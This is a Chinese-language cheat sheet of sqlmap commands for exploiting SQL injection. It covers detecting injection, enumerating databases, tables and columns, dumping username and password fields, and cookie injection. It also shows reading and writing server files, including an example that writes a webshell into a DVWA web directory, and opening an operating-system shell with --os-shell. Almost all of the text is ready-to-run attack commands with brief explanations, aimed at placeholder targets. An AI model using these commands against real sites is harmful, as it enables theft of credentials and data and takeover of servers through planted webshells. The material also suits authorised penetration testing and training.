sqlmap -u xxx 测试注入
sqlmap -u xxx -dbms 数据库类型
sqlmap -u --columns 列出所有字段
sqlmap -u xxx --tables 列出所有表
sqlmap -u xxx --dbs 列出所有库
sqlmap -u xxx --bath 自动输入y
sqlmap -u xxx --current-db 列出当前使用的库
sqlmap -u xxx --current-users 列出当前数据库使用的账户
sqlmap -u xxx --users 列出所有用户
sqlmap -u xxx --passwords 列出所有密码
sqlmap -u xxx -T 数据库 -D 表 -C "字段名" --dump 爆字段内容
进阶
sqlmap -u xxxx -cookie"id=xx" -level 2 cookie注入 只有level2才会检测cookie
注入成功后
获取数据库基本信息
sqlmap -u “
http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 --dbs
查询有哪些数据库
sqlmap -u “
http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test --tables
查询test数据库中有哪些表
sqlmap -u “
http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin --columns
查询test数据库中admin表有哪些字段
sqlmap -u “
http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” --dump
dump出字段username与password中的数据
其他命令参考下面
从数据库中搜索字段
sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap详细命令:
- --is-dba 当前用户权限(是否为root权限)
- --dbs 所有数据库
- --current-db 网站当前数据库
- --users 所有数据库用户
- --current-user 当前数据库用户
- --random-agent 构造随机user-agent
- --passwords 数据库密码
- --proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
- --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)